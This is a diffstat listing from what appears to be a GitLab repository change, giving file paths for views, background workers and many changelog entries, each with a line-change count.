-rw-r--r--app/views/projects/services/prometheus/_metrics.html.haml2
-rw-r--r--app/views/projects/settings/ci_cd/_autodevops_form.html.haml6
-rw-r--r--app/views/projects/settings/ci_cd/_form.html.haml16
-rw-r--r--app/views/projects/show.html.haml25
-rw-r--r--app/views/projects/static_site_editor/show.html.haml2
-rw-r--r--app/views/projects/tags/_tag.html.haml6
-rw-r--r--app/views/projects/tags/destroy.js.haml2
-rw-r--r--app/views/projects/tags/new.html.haml7
-rw-r--r--app/views/projects/tags/show.html.haml2
-rw-r--r--app/views/projects/tree/_tree_header.html.haml13
-rw-r--r--app/views/projects/tree/_tree_row.html.haml2
-rw-r--r--app/views/projects/triggers/_trigger.html.haml2
-rw-r--r--app/views/registrations/welcome.html.haml47
-rw-r--r--app/views/search/_results.html.haml2
-rw-r--r--app/views/search/results/_blob_data.html.haml2
-rw-r--r--app/views/search/results/_commit.html.haml2
-rw-r--r--app/views/search/results/_issue.html.haml23
-rw-r--r--app/views/search/results/_merge_request.html.haml4
-rw-r--r--app/views/search/results/_milestone.html.haml4
-rw-r--r--app/views/search/results/_note.html.haml9
-rw-r--r--app/views/shared/_auto_devops_callout.html.haml2
-rw-r--r--app/views/shared/_broadcast_message.html.haml8
-rw-r--r--app/views/shared/_file_highlight.html.haml2
-rw-r--r--app/views/shared/_group_form.html.haml10
-rw-r--r--app/views/shared/_help_dropdown_forum_link.html.haml2
-rw-r--r--app/views/shared/_no_password.html.haml19
-rw-r--r--app/views/shared/_no_ssh.html.haml2
-rw-r--r--app/views/shared/_old_visibility_level.html.haml2
-rw-r--r--app/views/shared/_outdated_browser.html.haml9
-rw-r--r--app/views/shared/_project_limit.html.haml2
-rw-r--r--app/views/shared/_service_settings.html.haml4
-rw-r--r--app/views/shared/_zen.html.haml2
-rw-r--r--app/views/shared/access_tokens/_table.html.haml4
-rw-r--r--app/views/shared/blob/_markdown_buttons.html.haml20
-rw-r--r--app/views/shared/boards/_show.html.haml16
-rw-r--r--app/views/shared/boards/_switcher.html.haml1
-rw-r--r--app/views/shared/boards/components/sidebar/_milestone.html.haml5
-rw-r--r--app/views/shared/deploy_tokens/_form.html.haml1
-rw-r--r--app/views/shared/empty_states/_issues.html.haml2
-rw-r--r--app/views/shared/form_elements/_apply_template_warning.html.haml2
-rw-r--r--app/views/shared/gitpod/_enable_gitpod_modal.html.haml12
-rw-r--r--app/views/shared/icons/_dev_ops_report_no_data.svg (renamed from app/views/shared/icons/_dev_ops_score_no_data.svg)0
-rw-r--r--app/views/shared/icons/_dev_ops_report_no_index.svg (renamed from app/views/shared/icons/_dev_ops_score_no_index.svg)0
-rw-r--r--app/views/shared/icons/_dev_ops_report_overview.svg (renamed from app/views/shared/icons/_dev_ops_score_overview.svg)0
-rw-r--r--app/views/shared/integrations/_form.html.haml7
-rw-r--r--app/views/shared/integrations/_index.html.haml2
-rw-r--r--app/views/shared/issuable/_bulk_update_sidebar.html.haml2
-rw-r--r--app/views/shared/issuable/_close_reopen_report_toggle.html.haml8
-rw-r--r--app/views/shared/issuable/_form.html.haml9
-rw-r--r--app/views/shared/issuable/_milestone_dropdown.html.haml2
-rw-r--r--app/views/shared/issuable/_search_bar.html.haml2
-rw-r--r--app/views/shared/issuable/_sidebar.html.haml176
-rw-r--r--app/views/shared/issuable/_sidebar_assignees.html.haml2
-rw-r--r--app/views/shared/issuable/_sidebar_todo.html.haml2
-rw-r--r--app/views/shared/issuable/form/_branch_chooser.html.haml2
-rw-r--r--app/views/shared/issuable/form/_issue_assignee.html.haml31
-rw-r--r--app/views/shared/issuable/form/_merge_params.html.haml2
-rw-r--r--app/views/shared/issuable/form/_metadata.html.haml18
-rw-r--r--app/views/shared/issuable/form/_metadata_issuable_reviewer.html.haml10
-rw-r--r--app/views/shared/issuable/form/_metadata_merge_request_assignee.html.haml8
-rw-r--r--app/views/shared/issuable/form/_type_selector.html.haml30
-rw-r--r--app/views/shared/members/_group.html.haml2
-rw-r--r--app/views/shared/members/_invite_group.html.haml2
-rw-r--r--app/views/shared/members/_invite_member.html.haml4
-rw-r--r--app/views/shared/members/_member.html.haml4
-rw-r--r--app/views/shared/milestones/_description.html.haml5
-rw-r--r--app/views/shared/milestones/_milestone.html.haml6
-rw-r--r--app/views/shared/notes/_hints.html.haml2
-rw-r--r--app/views/shared/notes/_note.html.haml2
-rw-r--r--app/views/shared/notes/_notes_with_form.html.haml1
-rw-r--r--app/views/shared/promotions/_promote_servicedesk.html.haml2
-rw-r--r--app/views/shared/runners/show.html.haml50
-rw-r--r--app/views/shared/snippets/_form.html.haml7
-rw-r--r--app/views/shared/snippets/_header.html.haml5
-rw-r--r--app/views/shared/web_hooks/_form.html.haml52
-rw-r--r--app/views/shared/wikis/_form.html.haml4
-rw-r--r--app/views/sherlock/file_samples/show.html.haml2
-rw-r--r--app/views/sherlock/queries/show.html.haml2
-rw-r--r--app/views/sherlock/transactions/index.html.haml2
-rw-r--r--app/views/sherlock/transactions/show.html.haml2
-rw-r--r--app/views/u2f/_authenticate.html.haml19
-rw-r--r--app/views/u2f/_register.html.haml40
-rw-r--r--app/views/users/show.html.haml18
-rw-r--r--app/workers/all_queues.yml102
-rw-r--r--app/workers/analytics/instance_statistics/count_job_trigger_worker.rb36
-rw-r--r--app/workers/analytics/instance_statistics/counter_job_worker.rb28
-rw-r--r--app/workers/ci/build_trace_chunk_flush_worker.rb10
-rw-r--r--app/workers/ci/create_cross_project_pipeline_worker.rb2
-rw-r--r--app/workers/ci/pipelines/create_artifact_worker.rb18
-rw-r--r--app/workers/ci/ref_delete_unlock_artifacts_worker.rb2
-rw-r--r--app/workers/ci_platform_metrics_update_cron_worker.rb16
-rw-r--r--app/workers/concerns/new_issuable.rb2
-rw-r--r--app/workers/delete_diff_files_worker.rb4
-rw-r--r--app/workers/delete_stored_files_worker.rb4
-rw-r--r--app/workers/git_garbage_collect_worker.rb12
-rw-r--r--app/workers/issue_placement_worker.rb49
-rw-r--r--app/workers/issue_rebalancing_worker.rb20
-rw-r--r--app/workers/jira_connect/sync_branch_worker.rb22
-rw-r--r--app/workers/jira_connect/sync_merge_request_worker.rb18
-rw-r--r--app/workers/merge_request_cleanup_refs_worker.rb23
-rw-r--r--app/workers/new_issue_worker.rb4
-rw-r--r--app/workers/new_note_worker.rb8
-rw-r--r--app/workers/object_storage/migrate_uploads_worker.rb8
-rw-r--r--app/workers/pages_remove_worker.rb17
-rw-r--r--app/workers/pages_transfer_worker.rb20
-rw-r--r--app/workers/pages_update_configuration_worker.rb10
-rw-r--r--app/workers/partition_creation_worker.rb2
-rw-r--r--app/workers/personal_access_tokens/expired_notification_worker.rb2
-rw-r--r--app/workers/pipeline_update_ci_ref_status_worker.rb18
-rw-r--r--app/workers/post_receive.rb23
-rw-r--r--app/workers/propagate_integration_worker.rb8
-rw-r--r--app/workers/propagate_service_template_worker.rb2
-rw-r--r--app/workers/repository_fork_worker.rb4
-rw-r--r--app/workers/run_pipeline_schedule_worker.rb4
-rw-r--r--app/workers/stuck_ci_jobs_worker.rb4
-rw-r--r--app/workers/stuck_merge_jobs_worker.rb2
-rw-r--r--app/workers/trending_projects_worker.rb2
-rw-r--r--app/workers/update_merge_requests_worker.rb2
-rw-r--r--app/workers/upload_checksum_worker.rb2
-rwxr-xr-xbin/feature-flag22
-rw-r--r--changelogs/README.md14
-rw-r--r--changelogs/archive-10.md2380
-rw-r--r--changelogs/archive-11.md3953
-rw-r--r--changelogs/archive-12.md4818
-rw-r--r--changelogs/archive.md2252
-rw-r--r--changelogs/unreleased/11496-issue-type-nplus1.yml5
-rw-r--r--changelogs/unreleased/11679-conan-project-level.yml5
-rw-r--r--changelogs/unreleased/13402-close-alert-when-end-time-given.yml5
-rw-r--r--changelogs/unreleased/1449-add-created-at-index-on-audit-events.yml5
-rw-r--r--changelogs/unreleased/15304-skipped-pipeline-status-badge.yml5
-rw-r--r--changelogs/unreleased/15399-show-multiple-jobs-for-coverage.yml5
-rw-r--r--changelogs/unreleased/16525-push-mirror-lfs-sync.yml5
-rw-r--r--changelogs/unreleased/196032-create-ci-linting-api-that-allows-ci-linting-to-be-applied-across-.yml5
-rw-r--r--changelogs/unreleased/196066-add-milestone-expired-info.yml5
-rw-r--r--changelogs/unreleased/197297-test-settings-and-save-changes-vue.yml5
-rw-r--r--changelogs/unreleased/198439-expose-pending-todo-in-graphql.yml5
-rw-r--r--changelogs/unreleased/198606-editor-lite-ci-linting.yml5
-rw-r--r--changelogs/unreleased/202012-pypi-job-tokens.yml5
-rw-r--r--changelogs/unreleased/202230-migrate-spinner-for-app-views-imports.yml5
-rw-r--r--changelogs/unreleased/202235-migrate-spinner-for-app-views-projects-imports.yml5
-rw-r--r--changelogs/unreleased/202237-migrate-spinner-for-app-views-projects-tree.yml5
-rw-r--r--changelogs/unreleased/202261-migrate-spinner-for-app-assets-javascripts-ajax_loading_spinner-js.yml5
-rw-r--r--changelogs/unreleased/202262-migrate-spinner-for-app-assets-javascripts-blob-file_template_sele.yml5
-rw-r--r--changelogs/unreleased/202267-migrate-spinner-for-app-assets-javascripts-vue_merge_request_widge.yml5
-rw-r--r--changelogs/unreleased/202270-migrate-spinner-for-app-assets-javascripts-notes-components-note_h.yml5
-rw-r--r--changelogs/unreleased/202273-migrate-spinner-for-app-assets-javascripts-gpg_badges-js.yml5
-rw-r--r--changelogs/unreleased/202582-migrate-spinner-for-app-views-projects-find_file.yml5
-rw-r--r--changelogs/unreleased/202590-migrate-spinner-for-app-views-shared-issuable.yml5
-rw-r--r--changelogs/unreleased/202607-migrate-spinner-for-app-views-projects-services-prometheus.yml5
-rw-r--r--changelogs/unreleased/20426-allow-mr-to-merge-when-pipeline-blocked-and-pipeline-must-succeed-i.yml6
-rw-r--r--changelogs/unreleased/204785-add-service-templates-deprecation-warning-banner.yml5
-rw-r--r--changelogs/unreleased/205578-add-creator-id-to-packages.yml5
-rw-r--r--changelogs/unreleased/205578-add-package-count-to-usage-data-28days.yml5
-rw-r--r--changelogs/unreleased/205578-add-package-count-to-usage-data.yml5
-rw-r--r--changelogs/unreleased/205578-move-package-metrics-to-core.yml5
-rw-r--r--changelogs/unreleased/205578-store-pkg-creator.yml5
-rw-r--r--changelogs/unreleased/207239-snippet-vueified-by-default.yml5
-rw-r--r--changelogs/unreleased/207347-add-terraform-state-versioning.yml5
-rw-r--r--changelogs/unreleased/20748-fix-validation-on-external-wiki-service-template-form.yml5
-rw-r--r--changelogs/unreleased/208193-limit-delete-tags-service-runtime.yml5
-rw-r--r--changelogs/unreleased/208287-design-change-show-unchanged-lines-ui.yml5
-rw-r--r--changelogs/unreleased/208454-create-self-monitor-project-on-new-install.yml5
-rw-r--r--changelogs/unreleased/208831-replace-issue-created-icon-with-issues.yml5
-rw-r--r--changelogs/unreleased/209770-design-comments-text-wrapping-behavior.yml5
-rw-r--r--changelogs/unreleased/209784-fix-notes-pagination-values.yml5
-rw-r--r--changelogs/unreleased/211899-geo-publish-snippets-replication-events.yml5
-rw-r--r--changelogs/unreleased/212274-remove-virtual-list-from-test-report.yml5
-rw-r--r--changelogs/unreleased/212329-related-issues-to-core_frontend-and-qa.yml5
-rw-r--r--changelogs/unreleased/212435-fix-upstream-pipeline-result.yml5
-rw-r--r--changelogs/unreleased/212595-ide-commit-errors.yml5
-rw-r--r--changelogs/unreleased/213080-fix-skipped-status-problem-of-needs.yml5
-rw-r--r--changelogs/unreleased/213101-junit-report-times.yml5
-rw-r--r--changelogs/unreleased/213351-address-mobile-issues-for-ci-variable-table.yml5
-rw-r--r--changelogs/unreleased/213372-update-prometheus-version.yml5
-rw-r--r--changelogs/unreleased/213456-fix-bridge-retry-after-retry.yml5
-rw-r--r--changelogs/unreleased/214241-update-releases-page-to-use-graphql-endpoint.yml5
-rw-r--r--changelogs/unreleased/214382-remove-feature-flag.yml5
-rw-r--r--changelogs/unreleased/214785-support-jwt-param-from-workhorse-for-file-uploads.yml5
-rw-r--r--changelogs/unreleased/216480-ide-multiproject-pipelines.yml5
-rw-r--r--changelogs/unreleased/216491-monaco-diff-selection.yml5
-rw-r--r--changelogs/unreleased/217314-actioncable-prometheus.yml5
-rw-r--r--changelogs/unreleased/217314-more-actioncable-prometheus-metrics.yml5
-rw-r--r--changelogs/unreleased/217581-remove-default-column.yml5
-rw-r--r--changelogs/unreleased/217802-fj-remove-file_name-and-content-snippet-mutations.yml5
-rw-r--r--changelogs/unreleased/217908-handle-git-errors.yml5
-rw-r--r--changelogs/unreleased/218017-nuget-size-limits-db.yml5
-rw-r--r--changelogs/unreleased/218609-bitbucket-server-importer-by-slug.yml5
-rw-r--r--changelogs/unreleased/219171-package-n2-bug.yml5
-rw-r--r--changelogs/unreleased/219788-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml5
-rw-r--r--changelogs/unreleased/219797-replace-gl-deprecated-button-with-gl-button-in-app-assets-javascri.yml5
-rw-r--r--changelogs/unreleased/220322-add-target-id-column-to-audit-events.yml5
-rw-r--r--changelogs/unreleased/220509-new-snippet-link.yml5
-rw-r--r--changelogs/unreleased/220540-drop-ds-sast-dind.yml5
-rw-r--r--changelogs/unreleased/220540-remove-ds-dind-from-docs.yml5
-rw-r--r--changelogs/unreleased/220803-embed-dropdown-snippets.yml5
-rw-r--r--changelogs/unreleased/220916-new-comment-not-drop-merge-train.yml5
-rw-r--r--changelogs/unreleased/222483-create-vulnerability-placeholder-model.yml5
-rw-r--r--changelogs/unreleased/222785-toggle-component-on-the-integration-settings-pages-should-be-a-che.yml5
-rw-r--r--changelogs/unreleased/223156-remove-stale-merge-refs.yml5
-rw-r--r--changelogs/unreleased/223156-remove-stale-mr-refs.yml5
-rw-r--r--changelogs/unreleased/223846-alert-assignee-avatar.yml5
-rw-r--r--changelogs/unreleased/223855-performance-defer-certain-parts-of-setting-up-snowplow-telemetry.yml5
-rw-r--r--changelogs/unreleased/224506-reduce-highlight-limits.yml5
-rw-r--r--changelogs/unreleased/224526-es-client-timeout.yml5
-rw-r--r--changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-dropdowns.yml5
-rw-r--r--changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-for-promotions.yml5
-rw-r--r--changelogs/unreleased/224534-replace-fa-times-with-gitlab-svg-close-icon-forms.yml5
-rw-r--r--changelogs/unreleased/224649-fix-resolved-threads-popup-link-and-placement.yml5
-rw-r--r--changelogs/unreleased/22506-webauthn-step-1.yml5
-rw-r--r--changelogs/unreleased/225166-adjust-the-package-registry-breadcrumb-to-match-navigation.yml5
-rw-r--r--changelogs/unreleased/225207-replace-fa-search-icons-with-gitlab-svg-icons.yml5
-rw-r--r--changelogs/unreleased/225218-format-conan-package-manager.yml5
-rw-r--r--changelogs/unreleased/225242-use-pointer-crosshair-when-hovering-on-the-design-view.yml5
-rw-r--r--changelogs/unreleased/225254-remove-feature-flag.yml5
-rw-r--r--changelogs/unreleased/225393-Close-Milestone-Button-is-Incorect-Size.yml5
-rw-r--r--changelogs/unreleased/225467-package-registry-adjust-the-max-width-for-non-fluid-screens-to-be-.yml5
-rw-r--r--changelogs/unreleased/225493-Retrieve-SecDash-URL-of-Projects.yml6
-rw-r--r--changelogs/unreleased/225555-update-usage-ping-data-to-track-usage-of-diffnotes-2.yml5
-rw-r--r--changelogs/unreleased/225600-add-gzip-compression-to-discussion-diffs.yml5
-rw-r--r--changelogs/unreleased/225656-package-detail-view-update-the-order-of-the-header-metadata-to-imp.yml5
-rw-r--r--changelogs/unreleased/225819-combine-alert-overview-details.yml5
-rw-r--r--changelogs/unreleased/225820-create-system-note-alert.yml5
-rw-r--r--changelogs/unreleased/225888-replace-fa-download-icon-with-gitlab-svg-download-icon.yml5
-rw-r--r--changelogs/unreleased/225926-replace-fa-tag-and-sidebar-icons.yml5
-rw-r--r--changelogs/unreleased/225926-replace-fa-tag-s-icons-with-gitlab-svg-icons.yml5
-rw-r--r--changelogs/unreleased/225932-replace-fa-arrow-icons-with-gitlab-svg-arrow-icons.yml5
-rw-r--r--changelogs/unreleased/225935-replace-fa-exclamation-circle-icons-with-gitlab-svg-error-icon.yml5
-rw-r--r--changelogs/unreleased/225936-replace-fa-user-s-icons-with-gitlab-svg-user-s-icon.yml5
-rw-r--r--changelogs/unreleased/225939-replace-fa-bugs-icons-with-gitlab-svg-bug-icon.yml5
-rw-r--r--changelogs/unreleased/225948-replace-fa-info-circle-icons-with-gitlab-svg-information-icon.yml5
-rw-r--r--changelogs/unreleased/225950-replace-fa-trash-and-fa-trash-o-icons-with-gitlab-svg-remove-icon.yml5
-rw-r--r--changelogs/unreleased/225950-replace-fa-trash-o-with-gitlab-svg-remove.yml5
-rw-r--r--changelogs/unreleased/225958-replace-fa-question-circle-icons-with-gitlab-svg-question-icon.yml5
-rw-r--r--changelogs/unreleased/226989-remove-users-bio-column.yml5
-rw-r--r--changelogs/unreleased/227305-add-query-apdex-prometheus-metric-to-usage-ping.yml5
-rw-r--r--changelogs/unreleased/227721-httpbasic-api-fuzzing-docs.yml5
-rw-r--r--changelogs/unreleased/227929-metrics-dashboard-embeds-with-new-urls.yml5
-rw-r--r--changelogs/unreleased/228657-version-bump-apollo_upload_server-gem.yml5
-rw-r--r--changelogs/unreleased/229046-iterations-charts-refactoring.yml5
-rw-r--r--changelogs/unreleased/229214-replace-LoadingButton-with-GlButton.yml5
-rw-r--r--changelogs/unreleased/229215-replace-loadingbutton-with-gitlab-ui-s-glbutton-in-app-assets-java.yml5
-rw-r--r--changelogs/unreleased/229223-save-jira-server-type-on-test.yml5
-rw-r--r--changelogs/unreleased/229266-mlunoe-analytics-filter-module-list-values-follow-up.yml6
-rw-r--r--changelogs/unreleased/229296-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml5
-rw-r--r--changelogs/unreleased/229297-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-ee-app-assets-ja.yml5
-rw-r--r--changelogs/unreleased/229313-update-issue-edit-button.yml5
-rw-r--r--changelogs/unreleased/229320-migrate-bootstrap-button-to-gitlab-ui-glbutton-in-app-assets-javas.yml5
-rw-r--r--changelogs/unreleased/229336-diffs-collapsible-button.yml5
-rw-r--r--changelogs/unreleased/229342-update-issue-edit-buttons.yml5
-rw-r--r--changelogs/unreleased/229402-incidents-severity-widget.yml5
-rw-r--r--changelogs/unreleased/229636-incident-empty-state-polish.yml5
-rw-r--r--changelogs/unreleased/229903-audit-events-post-backfill-migration.yml5
-rw-r--r--changelogs/unreleased/229918_systemnote_aggregate_counts.yml5
-rw-r--r--changelogs/unreleased/229968-remove-milesone-incidents.yml5
-rw-r--r--changelogs/unreleased/229970-time-tracking-incident.yml5
-rw-r--r--changelogs/unreleased/230437-usage-data-optimize-counts-terraform_reports.yml5
-rw-r--r--changelogs/unreleased/230452-truncate-job-title.yml5
-rw-r--r--changelogs/unreleased/230572-display-alert-number-in-list.yml5
-rw-r--r--changelogs/unreleased/230835-add-index-of-merge_request_id-on-approval-merge-request-rules-tabl.yml5
-rw-r--r--changelogs/unreleased/230835-drop-code_owner-column-from-approvalmergerequestrule.yml5
-rw-r--r--changelogs/unreleased/230857-incident-type-selector-help.yml4
-rw-r--r--changelogs/unreleased/230857-incident-type-selector.yml5
-rw-r--r--changelogs/unreleased/230980-severity-in-incident-list.yml5
-rw-r--r--changelogs/unreleased/231238-adjust-badge-key-limits.yml5
-rw-r--r--changelogs/unreleased/231344-json-result-for-project-pipeline-create.yml5
-rw-r--r--changelogs/unreleased/231463-gitlab-ci-aws-eks-integration-kubernetes-version-update.yml5
-rw-r--r--changelogs/unreleased/232636-add-support-for-fixing-composer-404.yml5
-rw-r--r--changelogs/unreleased/232765-make-daemon-memory-killer-default-for-sidekiq.yml5
-rw-r--r--changelogs/unreleased/232786-reinstate-60s-timeout.yml5
-rw-r--r--changelogs/unreleased/232824-fj-track-unique-virtual-actions.yml5
-rw-r--r--changelogs/unreleased/232839-fj-track-unique-edit-web-ide-action.yml5
-rw-r--r--changelogs/unreleased/232840-fj-track-sfe-actions.yml5
-rw-r--r--changelogs/unreleased/232841-fj-track-snippet-edit-events.yml5
-rw-r--r--changelogs/unreleased/232844-fj-add-ide-actions-usage-data.yml5
-rw-r--r--changelogs/unreleased/233002-diff-file-input-cutoff.yml5
-rw-r--r--changelogs/unreleased/233109-drop-feature-flag.yml5
-rw-r--r--changelogs/unreleased/233240-search-result-title-update.yml5
-rw-r--r--changelogs/unreleased/233301-search-markdown-rendering-queries.yml5
-rw-r--r--changelogs/unreleased/233425-add-artifact-expiration-help-url.yml5
-rw-r--r--changelogs/unreleased/233455-destroy-board-graphql.yml5
-rw-r--r--changelogs/unreleased/233475-source-branch-dropdown-empty.yml5
-rw-r--r--changelogs/unreleased/233507-set-not-null-on-mr-metrics-target-project-id.yml5
-rw-r--r--changelogs/unreleased/233649-replace-bootstrap-alerts-in-app-views-admin-groups-_form-html-haml.yml5
-rw-r--r--changelogs/unreleased/233652-replace-bootstrap-alerts-in-ee-app-views-groups-push_rules-edit-ht.yml5
-rw-r--r--changelogs/unreleased/233653-replace-bootstrap-alerts-in-ee-app-views-admin-licenses-_repeat_tr.yml5
-rw-r--r--changelogs/unreleased/233659-replace-bootstrap-alerts-in-app-views-projects-merge_requests-_mr_.yml5
-rw-r--r--changelogs/unreleased/233665-replace-bootstrap-alerts-in-app-views-shared-_no_password-html-ham.yml5
-rw-r--r--changelogs/unreleased/233666-replace-bootstrap-alerts-in-app-views-projects-pages-_access-html-.yml5
-rw-r--r--changelogs/unreleased/233670-replace-bootstrap-alerts-app-views-shared-_group_form-html-haml.yml5
-rw-r--r--changelogs/unreleased/233672-replace-bootstrap-alerts-in-app-views-projects-_deletion_failed-ht.yml5
-rw-r--r--changelogs/unreleased/233673-replace-bootstrap-alerts-app-views-shared-_project_limit-html-haml.yml5
-rw-r--r--changelogs/unreleased/233685-replace-bootstrap-alerts-in-app-views-shared-issuable-_form-html-h.yml5
-rw-r--r--changelogs/unreleased/233689-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-sh.yml5
-rw-r--r--changelogs/unreleased/233690-replace-bootstrap-alerts-app-views-projects-blob-edit-html-haml.yml5
-rw-r--r--changelogs/unreleased/233698-replace-bootstrap-alerts-in-app-views-profiles-two_factor_auths-cr.yml5
-rw-r--r--changelogs/unreleased/233703-replace-bootstrap-alerts-in-app-views-projects-forks-error-html-ha.yml5
-rw-r--r--changelogs/unreleased/233856-cablett-group-users.yml5
-rw-r--r--changelogs/unreleased/233919-add-instance-statistics-to-usage-ping.yml5
-rw-r--r--changelogs/unreleased/233933-poc-inicident-management-metrics.yml5
-rw-r--r--changelogs/unreleased/234011-remove-secret-sast-from-sast-template.yml5
-rw-r--r--changelogs/unreleased/234066-create-issuelink-for-vulnerabilities-that-do-not-have-them.yml5
-rw-r--r--changelogs/unreleased/235004-shortcut-deploy-to-is-shrinked.yml5
-rw-r--r--changelogs/unreleased/235060-the-service-desk-info-messages-need-to-be-updated.yml5
-rw-r--r--changelogs/unreleased/235440-search-query-is-added-without-query-parameter-name-in-the-service-.yml5
-rw-r--r--changelogs/unreleased/235490-generic-packages-generic-type.yml5
-rw-r--r--changelogs/unreleased/235653-conan-dependency-bug.yml6
-rw-r--r--changelogs/unreleased/235672-convert-show-more-to-table-row.yml5
-rw-r--r--changelogs/unreleased/235699-graphql-board-issue-filters.yml5
-rw-r--r--changelogs/unreleased/235729-add-pages_deployment-model.yml5
-rw-r--r--changelogs/unreleased/23575-fix-frequent-items-dropdown-logging.yml5
-rw-r--r--changelogs/unreleased/235756-ssh-public-keys-no-longer-public-accessible.yml5
-rw-r--r--changelogs/unreleased/235874-propogate-errors-api-fuzzing.yml5
-rw-r--r--changelogs/unreleased/235889-jira-importer-user-mapping-shows-50-users-max.yml5
-rw-r--r--changelogs/unreleased/235912-fork-interface-with-prevent-forking-outside-a-group-is-extremely-s.yml5
-rw-r--r--changelogs/unreleased/235969-fix-docker-icon-in-the-file-icons-svg-map.yml5
-rw-r--r--changelogs/unreleased/235984-add-filters-to-mrs-graphql-api.yml5
-rw-r--r--changelogs/unreleased/235993-cohorts-improve-empty-state-to-match-devops-score.yml5
-rw-r--r--changelogs/unreleased/236539-remove-epic-tab-container.yml5
-rw-r--r--changelogs/unreleased/23767-add-branch-to-mr-sidebar.yml5
-rw-r--r--changelogs/unreleased/237793-code-intelligence-usage-ping.yml5
-rw-r--r--changelogs/unreleased/237876-update-prismjs-to-1-21-0.yml5
-rw-r--r--changelogs/unreleased/237932-search-ui-implement-issue-scope-results-filter-by-state.yml5
-rw-r--r--changelogs/unreleased/237938-merge-requests-filter-by-state.yml5
-rw-r--r--changelogs/unreleased/237947-search-api-issues-filter-by-state.yml5
-rw-r--r--changelogs/unreleased/238111-count-of-the-number-of-self-hosted-smtp-configurations-by-package.yml5
-rw-r--r--changelogs/unreleased/238116-redis-hll-search-analytics.yml5
-rw-r--r--changelogs/unreleased/238156_create_scan_findings_entity.yml5
-rw-r--r--changelogs/unreleased/238165-fix_project_create_authorization_for_admin.yml5
-rw-r--r--changelogs/unreleased/238485-generic-alert-environment.yml5
-rw-r--r--changelogs/unreleased/238562-create-issuable_severities-table.yml5
-rw-r--r--changelogs/unreleased/238564-graphql-mutation-to-update-incident-severity.yml5
-rw-r--r--changelogs/unreleased/238568-add-incident-severity-to-issue-graphql-query.yml5
-rw-r--r--changelogs/unreleased/238571-populate-severity-for-incident-created-from-alert.yml5
-rw-r--r--changelogs/unreleased/238723-migrate-instances-of-expand-and-compress-icons-to-maximize-and-min.yml6
-rw-r--r--changelogs/unreleased/238964-fj-track-global-editing-actions.yml5
-rw-r--r--changelogs/unreleased/238969-Web-IDE-Rename-Job-Trace-To-Job-Logs.yml5
-rw-r--r--changelogs/unreleased/238986-add-zip-typ-to-pages-api-using-artifacts-zip-archive.yml5
-rw-r--r--changelogs/unreleased/239116-add-merge-request-sort-options-to-graphql.yml5
-rw-r--r--changelogs/unreleased/239195-slash-to-start-search-shortcut.yml5
-rw-r--r--changelogs/unreleased/239341-fj-allow-snippet-move-action-without-file-path.yml5
-rw-r--r--changelogs/unreleased/239355-alert-incident-count.yml5
-rw-r--r--changelogs/unreleased/239562-graphql-add-starredprojects-to-user.yml5
-rw-r--r--changelogs/unreleased/240874-expose-alert-via-issues-type.yml5
-rw-r--r--changelogs/unreleased/240906-rollout-search-track-unique-users.yml5
-rw-r--r--changelogs/unreleased/240921-fix-merge-request-diff-file-invalid-base64.yml5
-rw-r--r--changelogs/unreleased/240921-fix-merge-request-diff-files-count.yml5
-rw-r--r--changelogs/unreleased/240949-update-package-limit-defaults.yml5
-rw-r--r--changelogs/unreleased/240951-package-size-limits-ui.yml5
-rw-r--r--changelogs/unreleased/241000-front-matter-parsing.yml5
-rw-r--r--changelogs/unreleased/241002-edit-drawer.yml5
-rw-r--r--changelogs/unreleased/241144-fj-add-non-internal-filter-to-users-rest-endpoint.yml5
-rw-r--r--changelogs/unreleased/241199-fix-snippet-loading-json-content.yml5
-rw-r--r--changelogs/unreleased/241206-environmenturl-api-fuzzing-docs.yml5
-rw-r--r--changelogs/unreleased/241359-nomethoderror-error.yml5
-rw-r--r--changelogs/unreleased/241359-nomethoderror-undefined-method-invite_email-for-actionview-outputb.yml5
-rw-r--r--changelogs/unreleased/241492-check-pypi-metadata-size.yml5
-rw-r--r--changelogs/unreleased/241492-increase-pypi-version-size.yml5
-rw-r--r--changelogs/unreleased/241531-user-unable-to-delete-project.yml5
-rw-r--r--changelogs/unreleased/241673-expose-instance-statistics-via-graphql.yml5
-rw-r--r--changelogs/unreleased/241673-model-for-storing-instance-level-statistics.yml5
-rw-r--r--changelogs/unreleased/241700-devops-score-migrate-empty-state-into-vue-component.yml5
-rw-r--r--changelogs/unreleased/241809-db-migration-for-vulnerabilities-count.yml5
-rw-r--r--changelogs/unreleased/241818-simplify-password-reset-flow-for-a-user-whose-password-has-been-ch.yml5
-rw-r--r--changelogs/unreleased/241851-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241862-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241867-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241879-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241897-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241921-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241941-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241953-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241963-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241964-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241966-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241968-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241969-Replace-v-html.yml5
-rw-r--r--changelogs/unreleased/241970-fix-hover-style-in-darkmode.yml5
-rw-r--r--changelogs/unreleased/242284-charts-not-rendered-when-startup-css-enabled-due-to-cloaking.yml5
-rw-r--r--changelogs/unreleased/242291-gitlab-file-tree-icon-not-working-in-firefox.yml5
-rw-r--r--changelogs/unreleased/243444-user-cannot-sign-out-of-gitlab-once-admin-resets-their-password.yml5
-rw-r--r--changelogs/unreleased/243550-missing-slash-in-registry-setup-section-of-npm-module-in-gitlab-re.yml5
-rw-r--r--changelogs/unreleased/243758-indent-two-spaced-lists.yml5
-rw-r--r--changelogs/unreleased/243760-fix-link-reference-definitions.yml5
-rw-r--r--changelogs/unreleased/243787-make-the-auto_link_user-omniauth-setting-configurable-by-provider.yml5
-rw-r--r--changelogs/unreleased/244277-remove-ff-recent-items-search.yml5
-rw-r--r--changelogs/unreleased/244298-rake-task-to-dump-usage-ping-sql-yaml-json.yml5
